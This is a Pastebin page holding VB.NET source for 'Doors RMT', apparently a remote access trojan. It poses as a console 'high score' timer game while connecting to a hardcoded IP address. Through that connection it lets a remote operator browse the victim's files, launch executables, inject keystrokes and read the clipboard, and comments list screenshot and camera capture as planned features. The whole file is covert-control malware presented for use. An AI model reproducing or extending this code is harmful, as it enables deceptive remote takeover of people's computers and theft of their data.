Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net
- Imports System.Net.Sockets
- Module Module1
- 'DOWNLOAD NEEDS TO BE ADDED
- 'UPLOAD NEEDS TO BE ADDED
- 'SCREENSHOT NEEDS TO BE ADDED
- 'CAMERA NEEDS TO BE ADDED
- Dim client As TcpClient
- Dim TPCcleintStream As NetworkStream
- Dim Timer1 As New System.Timers.Timer
- Dim timer2 As New System.Timers.Timer
- Dim recived As String
- Dim serverIP As String
- Dim input(0 To 3) As String
- Dim computername As String
- Dim FGC = Console.ForegroundColor
- Dim BGC = Console.BackgroundColor
- Dim Ver = "0.1.1 Alpha"
- Dim modfier As String
- Dim Separator() As String = {" "}
- Dim gameScore As Integer
- Sub Main()
- serverIP = "73.182.11.184"
- Timer1.AutoReset = True
- Timer1.Interval = 200
- timer2.AutoReset = True
- timer2.Interval = 1000
- AddHandler Timer1.Elapsed, AddressOf Timer1_Tick
- AddHandler timer2.Elapsed, AddressOf Timer2_Tick
- Console.WriteLine("Starting...")
- client = New Sockets.TcpClient(serverIP, 2854)
- TPCcleintStream = client.GetStream()
- Console.WriteLine("Don't close this program, set a new record!")
- gameScore = 1
- timer2.Start()
- computername = My.User.Name
- startup()
- watermark()
- filesystem()
- ' Sets colors back to default.
- Console.ForegroundColor = FGC
- Console.BackgroundColor = BGC
- End
- End Sub
- Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
- Dim maxScore As Integer
- maxScore = 1262
- gameScore = gameScore + 1
- If gameScore < MaxScore Then
- Console.Clear()
- Console.WriteLine("The console has been open for: " & gameScore & (" seconds, that is ") & maxScore - gameScore & (" seconds away from the high score!"))
- Else
- Console.Clear()
- Console.WriteLine("The console has been open for: " & gameScore & (" seconds, that is the current world record!"))
- End If
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
- If TPCcleintStream.DataAvailable = True Then
- Dim rcbytes(client.ReceiveBufferSize) As Byte
- client.Client.Receive(rcbytes)
- recived = System.Text.Encoding.ASCII.GetString(rcbytes)
- Console.WriteLine(recived)
- End If
- gameScore = gameScore + 1
- Console.WriteLine("Score is currently:" & gameScore & ("That is") & 1000 - gameScore & ("away from the high score!"))
- End Sub
- Function send(ByRef reply As String)
- Dim responce As Byte() = System.Text.Encoding.ASCII.GetBytes(reply & "[|<DOORS-RMT-SYS!>SEPERATOR<!DOORS-RMT-SYS>|]")
- client.Client.Send(responce)
- End Function
- Function readinput()
- Dim output As String
- Do While True
- If TPCcleintStream.DataAvailable = True Then
- Dim rcbytes(client.ReceiveBufferSize) As Byte
- client.Client.Receive(rcbytes)
- recived = System.Text.Encoding.ASCII.GetString(rcbytes)
- recived = Replace(recived, vbNullChar, "")
- recived = Replace(recived, "[|<DOORS-RMT-SYS!>SEPERATOR<!DOORS-RMTSYS>|]", "")
- Exit Do
- End If
- Loop
- Return (recived)
- End Function
- Function startup()
- Dim lineslogged As Integer
- Dim linenum As Integer
- Dim linelog(0 To 9999) As String
- Dim configRead As System.IO.StreamReader
- Dim configWrite As System.IO.StreamReader
- ' Checks startup Params
- send("Checking Startup Params")
- Dim commandLineParam() As String = Environment.GetCommandLineArgs
- send("Params Checked")
- send("Connected")
- 'Runs "startup.txt" script if it exists.
- If System.IO.File.Exists(System.AppDomain.CurrentDomain.BaseDirectory() & "startup.txt") Then
- readCode(System.AppDomain.CurrentDomain.BaseDirectory() & "startup.txt") ' Runs "startup.txt"
- End If
- Threading.Thread.Sleep(2000)
- End Function
- Function watermark()
- Console.ForegroundColor = ConsoleColor.White
- Console.BackgroundColor = ConsoleColor.DarkGray
- send("Doors RMT (" + Ver + ")")
- ' Sets colors back to default.
- Console.ForegroundColor = FGC
- Console.BackgroundColor = BGC
- End Function
- Function Help()
- send("
- A list of commands you may use are:
- help - Lists all commands.
- shutdown - Shuts down DoorsRMT.
- list - Lists all files within your current directory.
- drive [drive letter] - Opens desired drive.
- cd [path] - opens the specified directory.
- cd .. - Goes up one directory.
- run [path] - Runs TYBEEDPL program at specified path.
- exe [path] - Runs an .EXE file
- dexe [path] - Allows you to manually type in the EXE as apposed to searching for it. (Prone to ERRORS)
- sendkey [keys] - Allows you to send keys to the conneceted computer.
- ")
- End Function
- Function filesystem()
- My.Computer.FileSystem.CurrentDirectory = "C:\"
- send("Welcome to Doors RMT, type ""Help"" to get a full list of commands.")
- Do While True
- If My.Computer.FileSystem.CurrentDirectory = Replace(My.Computer.FileSystem.CurrentDirectory, ":\", "") & ":\" Then
- System.Threading.Thread.Sleep(2000)
- send("[|<DOORS-RMT-SYS!>WRITE<!DOORS-RMT-SYS>|]" & My.Computer.FileSystem.CurrentDirectory + " >")
- Else
- send("[|<DOORS-RMT-SYS!>WRITE<!DOORS-RMT-SYS>|]" & My.Computer.FileSystem.CurrentDirectory + "\ >")
- End If
- input(0) = readinput()
- input = input(0).Split(Separator, StringSplitOptions.RemoveEmptyEntries)
- input(0) = LCase(input(0))
- If input.Count > 1 Then
- input(1) = LCase(input(1))
- If input.Count > 2 Then
- input(2) = LCase(input(2))
- If input.Count > 3 Then
- input(3) = LCase(input(3))
- End If
- End If
- End If
- If input(0) = "list" Then
- filesyslist()
- ElseIf input(0) = "drive" And input.Count > 1 Then
- input(1) = Replace(input(1), "\", "")
- input(1) = Replace(input(1), ":", "")
- input(1) = UCase(input(1))
- input(1) = (input(1) & ":\")
- If My.Computer.FileSystem.DirectoryExists(input(0)) = True Then
- My.Computer.FileSystem.CurrentDirectory = input(1)
- Else
- My.Computer.FileSystem.CurrentDirectory = input(1)
- End If
- ElseIf input(0) = "cd" And input.Count > 1 Then
- If input(1) = ".." Then
- My.Computer.FileSystem.CurrentDirectory = My.Computer.FileSystem.GetParentPath(My.Computer.FileSystem.CurrentDirectory)
- Else
- If My.Computer.FileSystem.DirectoryExists(My.Computer.FileSystem.CurrentDirectory + "\" + input(1)) = True Or My.Computer.FileSystem.DirectoryExists(My.Computer.FileSystem.CurrentDirectory + input(1)) Then
- If My.Computer.FileSystem.CurrentDirectory = "C:\" Then
- My.Computer.FileSystem.CurrentDirectory = My.Computer.FileSystem.CurrentDirectory + input(1)
- Else
- My.Computer.FileSystem.CurrentDirectory = My.Computer.FileSystem.CurrentDirectory + "\" + input(1)
- End If
- Else
- send("Please type a directory that exists, all directory's can be found via ""List""")
- End If
- End If
- ElseIf input(0) = "run" And input.Count > 1 Then
- If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.CurrentDirectory + "\" + input(1)) = True Or My.Computer.FileSystem.FileExists(My.Computer.FileSystem.CurrentDirectory + input(1)) Then
- If My.Computer.FileSystem.CurrentDirectory = "C:\" Then
- readCode(My.Computer.FileSystem.CurrentDirectory + input(1))
- Else
- readCode(My.Computer.FileSystem.CurrentDirectory + "\" + input(1))
- End If
- End If
- send("Please type a directory that exists, all directory's can be found via ""List""")
- ElseIf input(0) = "shutdown" Then
- Exit Do
- ElseIf input(0) = "help" Then
- Help()
- ElseIf input(0) = "exe" And input.Count > 1 Then
- If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.CurrentDirectory + "\" + input(1)) = True Or My.Computer.FileSystem.FileExists(My.Computer.FileSystem.CurrentDirectory + input(1)) Then
- If My.Computer.FileSystem.CurrentDirectory = "C:\" Then
- Process.Start(My.Computer.FileSystem.CurrentDirectory + input(1))
- Else
- Process.Start(My.Computer.FileSystem.CurrentDirectory + "\" + input(1))
- End If
- End If
- send("Please type a directory that exists, all directory's can be found via ""List""")
- ElseIf input(0) = "dexe" And input.Count > 1 Then
- Try
- Process.Start(input(1))
- Catch e As Exception
- End Try
- ElseIf input(0) = "sendkey" And input.Count > 1 Then
- My.Computer.Keyboard.SendKeys(input(1), True)
- ElseIf input(0) = "clipboard" Then
- send(My.Computer.Clipboard.GetText)
- Else
- send("Inproper Syntax. For help please type ""Help"" or ""exit"" to exit the ""fileSystem"" program.")
- End If
- Loop
- End Function
- Function filesyslist()
- Dim fileList As String
- fileList = ("
- ---Folders---
- ")
- For Each foundFolder As String In My.Computer.FileSystem.GetDirectories(My.Computer.FileSystem.CurrentDirectory)
- If My.Computer.FileSystem.CurrentDirectory = "C:\" Then
- foundFolder = Replace(foundFolder, My.Computer.FileSystem.CurrentDirectory, "")
- Else
- foundFolder = Replace(foundFolder, My.Computer.FileSystem.CurrentDirectory + "\", "")
- End If
- fileList = fileList & "
- " & foundFolder
- Next
- fileList = fileList & ("
- ---Files---
- ")
- For Each foundFile As String In My.Computer.FileSystem.GetFiles(My.Computer.FileSystem.CurrentDirectory)
- If My.Computer.FileSystem.CurrentDirectory = "C:\" Then
- foundFile = Replace(foundFile, My.Computer.FileSystem.CurrentDirectory, "")
- Else
- foundFile = Replace(foundFile, My.Computer.FileSystem.CurrentDirectory + "\", "")
- End If
- fileList = fileList & "
- " & foundFile
- Next
- send(fileList)
- End Function
- Function readCode(fileLocation As String)
- Dim sep() As String = {"~"}
- Dim lineNum As Integer
- Dim program As System.IO.StreamReader
- Dim line(0 To 3) As String
- Dim curLine As Integer
- Dim input As String
- Dim inIf As Boolean
- Dim ifOutcome As Boolean
- Dim skip As Boolean
- Dim X As Integer
- Dim lineLog(0 To 9999) As String
- Dim gotoScriptLine As Boolean
- Dim gotolinenumber As Integer
- Dim lineslogged As Integer
- program = My.Computer.FileSystem.OpenTextFileReader(fileLocation)
- lineNum = System.IO.File.ReadAllLines(fileLocation).Length
- send("
- Running program in TybeeDPL
- ")
- lineslogged = 0
- Do While True
- If lineslogged = lineNum Then
- program.Close()
- Exit Do
- Else
- lineLog(lineslogged + 1) = program.ReadLine()
- lineslogged = lineslogged + 1
- End If
- Loop
- Do While True
- curLine = curLine + 1
- line(0) = lineLog(curLine)
- If curLine > lineNum Then
- send("
- Program is done running.
- ")
- Exit Do
- Else
- line(0) = Replace(line(0), "[input]", input)
- line = line(0).Split(sep, StringSplitOptions.None)
- Array.Resize(line, 5)
- If skip = True Then
- If ifOutcome = True And line(0) = "end " And line(1) = "if" Then
- skip = False
- ElseIf ifOutcome = False And line(0) = "else" Then
- skip = False
- Else
- End If
- ElseIf line(0) = "print " And line.Count > 1 Then 'For printing to console
- send(line(1))
- ElseIf line(0) = "set " And line.Count > 1 And line(1) = "input" Then 'For getting input
- input = readinput()
- ElseIf line(0) = "if " And line.Count > 3 Then
- If line(2) = "= " And line(1) = line(3) Then
- inIf = True
- ifOutcome = True
- Else
- inIf = True
- ifOutcome = False
- skip = True
- End If
- ElseIf line(0) = "goto " Then
- If line(1) > lineNum Then
- Else
- curLine = line(1) - 1
- End If
- ElseIf line(0) = "end" And line(1) = "" Then
- send("
- Program is done running.
- ")
- Exit Do
- End If
- End If
- Loop
- End Function
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement